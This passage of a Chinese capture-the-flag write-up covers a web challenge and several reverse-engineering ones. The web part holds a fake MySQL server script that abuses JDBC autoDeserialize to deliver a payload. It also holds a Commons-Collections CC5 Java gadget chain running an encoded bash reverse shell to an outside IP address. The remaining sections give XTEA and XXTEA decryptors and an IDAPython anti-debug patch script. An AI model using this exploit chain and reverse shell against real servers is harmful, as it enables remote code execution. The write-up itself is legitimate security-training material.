6000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break


if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3306

sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)

print("start fake mysql server listening on {}:{}".format(HOST,PORT))

run()

运行这个脚本开启监听,然后使用cc5的链子弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.example.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class Cc5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwNS41NS4xMTEvNzg4NyAwPiYx}|{base64,-d}|{bash,-i}"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(decorateMap, "value");
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
Field f = clazz.getDeclaredField("val");
f.setAccessible(true);
f.set(exp, entry);
serialize(exp);

}


private static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload"));
oos.writeObject(object);
}

}

写一个脚本发送请求,浏览器可能会混淆,所以发包成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests


base = "http://019a8260-e362-7f93-a3c0-476710b9765e.geek.ctfplus.cn/connect"

jdbc_url = "jdbc:mysql://47.xxx.xxx.xxx:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"

params = {
"url": jdbc_url,
"name": "root",
"pass": "123456"
}

print("[*] 正在发送请求...")
resp = requests.get(base, params=params, timeout=8)

print("[*] 返回状态:", resp.status_code)
print("[*] 返回内容:")
print(resp.text)

运行脚本发包,在恶意mysql监听可以看到收到的mysql握手包和我们发过去的payload

成功弹到shell,并在根目录拿到flag

re-stack_bomb

开始通过查看字符串找到主main函数

这题用f5是反编译不出主要的函数的

因为这个程序是通过修改eax的值,用call eax来实现跳转

将主main函数的汇编代码丢给ai分析

找到程序的主要逻辑是在这里

通过动调,在每一个call eax中f7

找到sub_E51920

通过动态调试分析逻辑发现这就是最主要的数据加密处理函数v71和v70都是我们输入的数据,以dword的形式来传入,接着在动调中的汇编代码查看每一个stack中所对应的数据或者所对应的地址,对每一步的操作进行解析

把所有的数据收集起来,最后让ai编写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# -*- coding: utf-8 -*-

MASK = 0xFFFFFFFF

def u32(x): return x & MASK
def add32(a, b): return (a + b) & MASK
def sub32(a, b): return (a - b) & MASK
def shl32(x, n): return ((x & MASK) << (n & 31)) & MASK
def shr32(x, n): return (x & MASK) >> (n & 31)

def F_of_R(R, v, K0, K1, C1, C2):
# t1 = K0 + (R << C1)
# t2 = K1 + (R >>> C2)
# F = (v + R) ^ t1 ^ t2
t1 = add32(K0, shl32(R, C1))
t2 = add32(K1, shr32(R, C2))
return (add32(v, R) ^ t1 ^ t2) & MASK

def G_of_L(L, v, K2, K3, C1, C2):
# t3 = K2 + (L << C1)
# t4 = K3 + (L >>> C2)
# G = (v + L) ^ t3 ^ t4
t3 = add32(K2, shl32(L, C1))
t4 = add32(K3, shr32(L, C2))
return (add32(v, L) ^ t3 ^ t4) & MASK

def invert_one_call(L_out, R_out, K, C1, C2, glob, rounds):
K0, K1, K2, K3 = K
L, R = u32(L_out), u32(R_out)
# 倒序逐轮还原:第 i 轮使用 v = i * glob
for i in range(rounds, 0, -1):
v = u32(i * u32(glob))
# 逆第二步:R_prev = R - G(L, v)
g = G_of_L(L, v, K2, K3, C1, C2)
R = sub32(R, g)
# 逆第一步:L_prev = L - F(R_prev, v)
f = F_of_R(R, v, K0, K1, C1, C2)
L = sub32(L, f)
return u32(L), u32(R)

def invert_pipeline(LR_out, calls):
L, R = u32(LR_out[0]), u32(LR_out[1])
# 逆过程:按相反顺序应用每次调用的逆
for call in reversed(calls):
L, R = invert_one_call(
L, R,
K=call["K"],
C1=call["C1"], C2=call["C2"],
glob=call["glob"], rounds=call["rounds"]
)
return u32(L), u32(R)

def u32_to_le_bytes(x):
return bytes([(x >> 0) & 0xFF, (x >> 8) & 0xFF, (x >> 16) & 0xFF, (x >> 24) & 0xFF])

if __name__ == "__main__":
# 题目里的 4 个目标块(小端的两个 u32)
target_blocks = [
(0x9A8C0C4B, 0xC412FF1C),
(0xBFC3A488, 0xB16C8FD0),
(0x4136E319, 0x8835E4FF),
(0x118263A7, 0x7C85D629),
]

# 你给的固定参数
rounds = 32
glob = 0x09000000
K = (1, 2, 3, 4)
C1, C2 = 4, 5

# 每个块的调用序列(按执行顺序;这里每块只调用一次且参数相同)
calls = [[{"K": K, "C1": C1, "C2": C2, "glob": glob, "rounds": rounds}]] * 4

# 逐块逆向
words = []
for blk_idx in range(4):
L0, R0 = invert_pipeline(target_blocks[blk_idx], calls[blk_idx])
words.extend([L0, R0])

# 拼出 32 字节明文(按 Buffer 的顺序:Block0..Block3,每块 L 再 R,皆小端)
pt = b"".join(u32_to_le_bytes(w) for w in words)
print("plaintext hex:", pt.hex())
try:
print("plaintext ascii:", pt.decode("ascii"))
except UnicodeDecodeError:
print("ascii decode failed; raw bytes printed above.")

re-reReverse

做了好几天了

通过ai分析出了xxtea

但一直解不出来

尝试动态调试但无法调成功,进不到加密的函数中

把爆红的代码和题目描述给ai分析发现

让ai帮我生成一个trace脚本来dump汇编代码的正确执行顺序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
#!/usr/bin/env python3
"""Quick-and-dirty simulator for the SIGTRAP bitmap scheduler used by `new_re`.

The binary flips the Trap Flag (TF) on during `.init_array`, then relies on the
SIGTRAP handler at 0x400EF0 to redirect execution according to a bitmap located
at 0x403080. This script recreates the interesting pieces statically:

* Parse `new_re` as an ELF64 to grab the PT_LOAD segments we care about.
* Slice out the instruction bytes for the range [BASE, END) = [0x400800, 0x400FF5).
* Slice out the bitmap backing the handler.
* Optionally produce the "logical" execution trace by emulating the handler's
behaviour (currently treating the bitmap as circular when scanning backwards,
which matches the behaviour observed in practice for this binary).

The goal is to give you a mechanically reproducible listing of the addresses the
program really executes once TF + the handler are accounted for. You can then
feed that address sequence back into IDA (set breakpoints, mark basic blocks,
copy/paste into a notebook, etc.) and recover the high-level algorithm far more
easily than eyeballing the red blocks.

Usage examples (run from repository root):

python tools/trap_sim.py --head 120
python tools/trap_sim.py --dump-trace trace.txt

The `--head` option limits how many steps are printed to stdout. The
`--dump-trace` option writes the full trace (address, TF state, mnemonic,
operands) to a file so you can inspect it offline.
"""

from __future__ import annotations

import argparse
import struct
from pathlib import Path
from typing import Dict, Iterable, Iterator, List, Sequence, Tuple

from capstone import Cs, CS_ARCH_X86, CS_MODE_64 # type: ignore

# Constants recovered from reverse engineering the handler.
BASE_ADDR = 0x400800
END_ADDR = 0x400FF5
BITMAP_ADDR = 0x403080
MAIN_ENTRY = 0x400DF1
TF_TOGGLE_STUB = 0x400800 # same gadget is used to flip TF on/off

# ---------------------------------------------------------------------------
# ELF helpers
# ---------------------------------------------------------------------------

class ElfImage:
"""Minimal ELF loader for pulling bytes from PT_LOAD segments."""

def __init__(self, blob: bytes) -> None:
self._blob = blob
self._segments: List[Tuple[int, int, int]] = [] # (start, end, file_off)
self._build_segments()

def _build_segments(self) -> None:
blob = self._blob
e_phoff = struct.unpack_from("<Q", blob, 0x20)[0]
e_phentsize = struct.unpack_from("<H", blob, 0x36)[0]
e_phnum = struct.unpack_from("<H", blob, 0x38)[0]
for i in range(e_phnum):
off = e_phoff + i * e_phentsize
p_type = struct.unpack_from("<I", blob, off)[0]
if p_type != 1: # PT_LOAD
continue
p_offset = struct.unpack_from("<Q", blob, off + 8)[0]
p_vaddr = struct.unpack_from("<Q", blob, off + 16)[0]
p_filesz = struct.unpack_from("<Q", blob, off + 32)[0]
self._segments.append((p_vaddr, p_vaddr + p_filesz, p_offset))
self._segments.sort()

def read(self, addr: int, size: int) -> bytes:
for start, end, file_off in self._segments:
if start <= addr < end and addr + size <= end:
rel = addr - start
return self._blob[file_off + rel : file_off + rel + size]
raise ValueError(f"address 0x{addr:x} (size {size}) not backed by PT_LOAD")

# ---------------------------------------------------------------------------
# Trap handler model
# ---------------------------------------------------------------------------

class TrapScheduler:
"""Model the bitmap-driven rerouting implemented by the SIGTRAP handler."""

def __init__(self, elf: ElfImage) -> None:
self._elf = elf
self._md = Cs(CS_ARCH_X86, CS_MODE_64)
self._md.detail = False
self._bitmap = elf.read(BITMAP_ADDR, (END_ADDR - BASE_ADDR + 7) // 8)
self._marks = [
BASE_ADDR + i
for i in range(END_ADDR - BASE_ADDR)
if (self._bitmap[i >> 3] >> (i & 7)) & 1
]
if not self._marks:
raise RuntimeError("bitmap produced zero marked addresses")
self._mark_index: Dict[int, int] = {addr: idx for idx, addr in enumerate(self._marks)}
self._cache: Dict[int, Cs.Instruction] = {}

def is_marked(self, addr: int) -> bool:
if addr < BASE_ADDR or addr >= END_ADDR:
return False
off = addr - BASE_ADDR
return ((self._bitmap[off >> 3] >> (off & 7)) & 1) == 1

def _find_prev(self, addr: int) -> int:
idx = self._mark_index[addr]
# The hardware walks backwards until the *second* set bit. The bitmap
# provided by the challenge is arranged such that treating the mark list
# as circular reproduces the observed jumps.
return self._marks[(idx - 2) % len(self._marks)]

def disasm(self, addr: int) -> Cs.Instruction:
if addr not in self._cache:
self._cache[addr] = next(self._md.disasm(self._elf.read(addr, 16), addr, count=1))
return self._cache[addr]

def simulate(self, max_steps: int = 500) -> List[Tuple[int, bool, Cs.Instruction]]:
"""Return a list of (address, tf_on, instruction) for the pseudo-execution."""

trace: List[Tuple[int, bool, Cs.Instruction]] = []
tf_on = True
rip = MAIN_ENTRY

for _ in range(max_steps):
ins = self.disasm(rip)
trace.append((rip, tf_on, ins))

if tf_on and self.is_marked(rip):
rip = self._find_prev(rip)
else:
rip += ins.size

# The gadget at 0x400800 flips TF via pushfq/xor/popfq.
if ins.mnemonic == "call" and ins.op_str.strip().lower() == f"0x{TF_TOGGLE_STUB:x}":
tf_on = not tf_on

return trace

# ---------------------------------------------------------------------------
# CLI plumbing
# ---------------------------------------------------------------------------

def format_trace_row(addr: int, tf_on: bool, ins: Cs.Instruction) -> str:
flag = "TF" if tf_on else " "
return f"0x{addr:08x} [{flag}] {ins.mnemonic:<8} {ins.op_str}"


def main(argv: Sequence[str] | None = None) -> None:
parser = argparse.ArgumentParser(description="Simulate the SIGTRAP-driven control flow")
parser.add_argument("--binary", default="new_re", help="path to the ELF binary (default: new_re)")
parser.add_argument("--head", type=int, default=40, help="print the first N steps to stdout")
parser.add_argument("--steps", type=int, default=500, help="total number of steps to simulate")
parser.add_argument("--dump-trace", type=Path, help="optional file to dump the full trace")
args = parser.parse_args(argv)

blob = Path(args.binary).read_bytes()
scheduler = TrapScheduler(ElfImage(blob))
trace = scheduler.simulate(max_steps=args.steps)

for addr, tf_on, ins in trace[: args.head]:
print(format_trace_row(addr, tf_on, ins))

if args.dump_trace:
args.dump_trace.parent.mkdir(parents=True, exist_ok=True)
with args.dump_trace.open("w", encoding="utf-8") as fh:
for addr, tf_on, ins in trace:
fh.write(format_trace_row(addr, tf_on, ins) + "\n")
print(f"[+] wrote {len(trace)} trace entries to {args.dump_trace}")


if __name__ == "__main__":
main()

把dump下来的内容再丢给ai分析,编写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
"""Recover the flag produced by the protected binary."""

from __future__ import annotations

DELTA = 0x9E3779B9
MASK32 = 0xFFFFFFFF


def xxtea_decrypt(words: list[int], key: list[int]) -> list[int]:
"""Decrypt a vector of 32-bit words in-place using the XXTEA core."""
n = len(words)
if n < 2:
return words

rounds = 6 + 52 // n
total = (rounds * DELTA) & MASK32

y = words[0]
while total:
e = (total >> 2) & 3
for p in range(n - 1, 0, -1):
z = words[p - 1]
y_val = words[p]
mix = (((z >> 5) ^ ((y << 2) & MASK32)) + ((y >> 3) ^ ((z << 4) & MASK32))) & MASK32
mix ^= (total ^ y) + (key[(p & 3) ^ e] ^ z)
y = (y_val - mix) & MASK32
words[p] = y
z = words[n - 1]
mix = (((z >> 5) ^ ((y << 2) & MASK32)) + ((y >> 3) ^ ((z << 4) & MASK32))) & MASK32
mix ^= (total ^ y) + (key[(0 & 3) ^ e] ^ z)
y = (words[0] - mix) & MASK32
words[0] = y
total = (total - DELTA) & MASK32

return words


def words_to_bytes(words: list[int]) -> bytes:
"""Pack little-endian words into a byte string."""
return b"".join(word.to_bytes(4, "little") for word in words)


def main() -> None:
# Constants lifted directly from the comparison stage in the binary.
cipher = [
0x2973BD37,
0x1BA99AA3,
0xB3C20088,
0xBFC393AB,
0x352ADCCF,
0x3B98E6E6,
0xAE421991,
0xD7B702CF,
0x0EEF6889,
0x08662435,
]
key = [0x0000DEAD, 0x0000BEEF, 0x00005A7D, 0x0000C0FF]

plain_words = xxtea_decrypt(cipher[:], key)
flag = words_to_bytes(plain_words).rstrip(b"\x00")
print(flag.decode("ascii"))


if __name__ == "__main__":
main()

re-encode

scanf中有一个xtea加密

最后在compare里面有一个base64

解密脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import base64
import struct

def xtea_decrypt(block, key):
v0, v1 = struct.unpack('>2I', block)
k = struct.unpack('>4I', key)
delta = -0x61C88647
sum = delta * 32

for _ in range(32):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + k[(sum >> 11) & 3])
v1 &= 0xFFFFFFFF
sum -= delta
sum &= 0xFFFFFFFF
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + k[sum & 3])
v0 &= 0xFFFFFFFF

return struct.pack('>2I', v0, v1)

def main():
encoded_flag = b"vBzX30Koxl3HpDaYaFJKhyB/1ckuVCnc4wZhrwUWeNuZkAxr+Qn5UaYbpvymmCrk"
xtea_key = b"geek2025reverse!"

# 1. Base64 decode
base64_decoded = base64.b64decode(encoded_flag)

# 2. XOR with 0x5A
xored_data = bytearray()
for byte in base64_decoded:
xored_data.append(byte ^ 0x5A)
# 3. XTEA decrypt
decrypted_flag = b""
for i in range(0, len(xored_data), 8):
block = bytes(xored_data[i:i+8])
decrypted_block = xtea_decrypt(block, xtea_key)
decrypted_flag += decrypted_block

# Remove padding
padding_len = decrypted_flag[-1]
flag = decrypted_flag[:-padding_len]

print(f"Flag: {flag.decode()}")

if __name__ == "__main__":
main()

re-ez_pyyy

在线网站反编译

解密脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
cipher = [
48,55,57,50,53,55,53,50,52,50,48,55,101,52,53,50,
52,50,52,50,48,55,53,55,55,55,50,54,53,55,54,55,
55,55,53,54,98,55,97,54,50,53,56,52,50,52,99,54,
50,50,52,50,50,54
]

def en33_right_rotate(data: bytes, n: int) -> bytes:
bit_len = len(data) * 8
n = n % bit_len
val = int.from_bytes(data, "big")
val = (val >> n) | ((val << (bit_len - n)) & ((1 << bit_len) - 1))
return val.to_bytes(len(data), "big")

def swap_nibbles(b: int) -> int:
return ((b << 4) & 0xF0) | ((b >> 4) & 0x0F)

# 1. 从 cipher 列表恢复 ASCII 十六进制字符串
hex_ascii = bytes(cipher).decode() # -> '079257524207e45242420757772657677756b7a6258424c6224226'

# 2. 十六进制转字节
data = bytes.fromhex(hex_ascii)

# 3. 逆 en33:整体右旋 32 位
data = en33_right_rotate(data, 32)

# 4. 逆 en3(每字节交换高低 4 位)
data = bytes([swap_nibbles(b) for b in data])

# 5. 逆 XOR(key=17)
data = bytes([b ^ 17 for b in data])

print("中间解(可能还需反转):", data)
try:
print("中间解 utf-8:", data.decode())
except Exception as e:
print("不能直接 utf-8 解码:", e)

# 6. 根据原代码可疑的切片,尝试反转一次
final = data[::-1].decode()
print("最终 flag:", final)

re-only_flower

去花之后

解密脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<stdio.h>
#include <stdint.h>
uint8_t rol8(uint8_t value, int shift) {
shift %= 8;
if (shift < 0) {
shift += 8;
}
return (value << shift) | (value >> (8 - shift));
}
int main(){
int a[]={0x0A, 0x84, 0xC2, 0x84, 0x51, 0x48, 0x5F, 0xF2, 0x9E, 0x8D,
0xD0, 0x84, 0x75, 0x67, 0x73, 0x8F, 0xCA, 0x57, 0xD7, 0xE6,
0x14, 0x6E, 0x77, 0xE2, 0x29, 0xFE, 0xDF, 0xCC};
int flag;
char KEY[]="GEEK2025";
for (int i = 0; i < 28; ++i ){
for(int j=0;j<128;j++){
flag=j;
if( a[i]== i + rol8(KEY[i % 8] ^ flag, KEY[i % 8] & 7))
printf("%c",flag);
}
}
return 0;
}

re-ezRu3t

在字符表里先找到了base64和base85的表

先进行base64

再进行base85

主要是密文找了一会,最后在qword_14001E96B找到了

cyberchef一把梭

re-ezSMC

先rc4加密,密钥为0x11,再字符串转十六进制,再base64加密,再进行base58加密,直接cyberchef一把梭

re-Her

这题主要是卡在反调试,编写idapyhton代码过掉反调试,然后动态调试一步步跟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
import ida_bytes
import ida_auto
import ida_ua

# 注意:这些地址必须和你当前 IDB 中的实际函数地址一致(无重定位偏移)
ADDR_SUB_8F1530 = 0x008F1530 # sub_8F1530 / sub_8F10CD
ADDR_SUB_8F3380 = 0x008F3380 # sub_8F3380 - CRT IsDebuggerPresent guard (你之前脚本中的注释)
ADDR_SUB_8F3860 = 0x008F3860 # sub_8F3860 - fastfail wrapper #1
ADDR_SUB_8F39C0 = 0x008F39C0 # sub_8F39C0 - fastfail wrapper #2
ADDR_SUB_8F47B0 = 0x008F47B0 # sub_8F47B0 - exception-filter anti-debug core

ADDR_DWORD_8FB1D8 = 0x008FB1D8
XOR_KEY_8FB1D8 = 0x001A373 # 0x17DDE ^ 0x0DEAD

STUB_LEN = 16 # 每个 stub 覆盖的长度


def make_ret_stub(ret_val: int) -> bytes:
"""
通用空壳:
push ebp
mov ebp, esp
xor eax, eax / mov eax, imm32
leave
retn
nop 填充
"""
stub = bytearray(b"\x55\x8B\xEC") # push ebp; mov ebp, esp

if ret_val == 0:
stub += b"\x31\xC0" # xor eax, eax
else:
stub += b"\xB8" + (ret_val & 0xFFFFFFFF).to_bytes(4, "little")

stub += b"\xC9\xC3" # leave; retn

if len(stub) > STUB_LEN:
raise ValueError("ret stub length exceeds padding space")

stub.extend(b"\x90" * (STUB_LEN - len(stub)))
return bytes(stub)


def make_sub_8F1530_stub() -> bytes:
"""
模拟 sub_8F1530 在「真实安全环境」中的行为:

- CheckRemoteDebuggerPresent 报告无远程调试器时,原代码会:
dword_8FB1D8 ^= 0x17DDE;
dword_8FB1D8 ^= 0x0DEAD; // 合成 ^= 0x1A373

- Sleep / GetTickCount 检查不过阈值 → 返回 0

在无调试器的理想环境里,每次调用这个函数:
* 返回值为 0(“一切正常,可以走真实加密路径”)
* 并对 dword_8FB1D8 做一次 ^= 0x1A373(原始代码确实是每次调用都可能 XOR,没有只一次的保护)

我们用一个紧凑 stub 表达:

xor dword ptr [ADDR_DWORD_8FB1D8], XOR_KEY_8FB1D8
xor eax, eax
retn
nop ...
"""
stub = bytearray()

# 81 35 <addr32> <imm32> -> xor dword ptr [addr], imm32
stub += b"\x81\x35"
stub += ADDR_DWORD_8FB1D8.to_bytes(4, "little")
stub += XOR_KEY_8FB1D8.to_bytes(4, "little")

stub += b"\x31\xC0" # xor eax, eax
stub += b"\xC3" # retn

if len(stub) > STUB_LEN:
raise ValueError("sub_8F1530 stub length exceeds padding space")

stub.extend(b"\x90" * (STUB_LEN - len(stub)))
return bytes(stub)


def apply_stub(addr: int, stub: bytes, description: str) -> None:
if not ida_bytes.is_mapped(addr):
print(f"[!] {addr:#x} not mapped, skip {description}")
return

ida_bytes.del_items(addr, ida_bytes.DELIT_SIMPLE, len(stub))
ida_bytes.patch_bytes(addr, stub)

# 重建指令:按长度往后走,避免用不存在的 next_head
ea = addr
end = addr + len(stub)
while ea < end:
insn_len = ida_ua.create_insn(ea)
if insn_len <= 0:
# 如果这儿 IDA 没识别出指令(比如连续 NOP),就手动 +1
ea += 1
else:
ea += insn_len

print(f"[+] Patched {description} at {addr:#x}, size={len(stub)}")


def main() -> None:
# 1) sub_8F1530: 既更新 key,又保证返回 0 → 强制走真实加密 SEH 路径,不走 rand 假分支
apply_stub(
ADDR_SUB_8F1530,
make_sub_8F1530_stub(),
"sub_8F1530 / sub_8F10CD - anti-debug dispatcher (real-env key schedule)"
)

# 2) 其它反调试/异常封装:在真实环境中等价于“没触发”,统一返回 0
apply_stub(
ADDR_SUB_8F3380,
make_ret_stub(0),
"sub_8F3380 - CRT IsDebuggerPresent guard"
)
apply_stub(
ADDR_SUB_8F3860,
make_ret_stub(0),
"sub_8F3860 - fastfail wrapper #1"
)
apply_stub(
ADDR_SUB_8F39C0,
make_ret_stub(0),
"sub_8F39C0 - fastfail wrapper #2"
)
apply_stub(
ADDR_SUB_8F47B0,
make_ret_stub(0),
"sub_8F47B0 - exception-filter anti-debug core"
)

ida_auto.auto_wait()
print("[+] Anti-debug stubs applied with real-environment semantics for encryption logic.")


if __name__ == "__main__":
main()

加密流程主要在这

通过输入不断验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
int main(){
unsigned char a[]="1234567890123456789012345678901";
int flag[32];
//int a[]={0x2D, 0x4F, 0x69, 0x3D, 0x5F, 0x01, 0xBD, 0x9F, 0xA4, 0x6D, 0x89, 0xAE, 0x2A, 0xEA, 0xD1, 0x9C, 0x71, 0x6D, 0xE1, 0x1E, 0x38, 0x7E, 0x8C, 0x0A, 0xCE, 0x6B, 0xE0, 0xF7, 0x36, 0x72, 0x99};
int b=0;
for(int i=0;i<31;i++){
b^=0x1A373;
//printf("%x\n",b);
a[i]=(++b%0x100)^a[i]^0xAA;
//printf("%x\n",a[i]);
b^=0x1A373;
a[i]+=++b%0x100+i*i;
//printf("%x\n",a[i]);
b^=0x1A373;
b++;
b^=0x1A373;
//printf("%x\n",b);
a[i]+=++b%0x100+i*i;
flag[i]=(a[i]>>5)|(a[i]<<3);
b^=0x1A373;
b++;
b^=0x1A373;
b++;
printf("%02X\n",flag[i]%0x100);
//printf("%x\n",b);
}
return 0;
}

模拟出了函数的主要加密流程

直接编写爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <stdint.h>

uint8_t enc[] = {
0x2D, 0x4F, 0x69, 0x3D, 0x5F, 0x01, 0xBD, 0x9F,
0xA4, 0x6D, 0x89, 0xAE, 0x2A, 0xEA, 0xD1, 0x9C,
0x71, 0x6D, 0xE1, 0x1E, 0x38, 0x7E, 0x8C, 0x0A,
0xCE, 0x6B, 0xE0, 0xF7, 0x36, 0x72, 0x99
};
const int N = sizeof(enc) / sizeof(enc[0]);
uint8_t encrypt_byte(uint8_t ch, uint32_t *pb, int i)
{
uint32_t b = *pb;
uint8_t x = ch;
b ^= 0x1A373;
x = (uint8_t)(((++b) & 0xFF) ^ x ^ 0xAA);
b ^= 0x1A373;
x = (uint8_t)(x + (((++b) & 0xFF) + i * i));
b ^= 0x1A373;
b++;
b ^= 0x1A373;
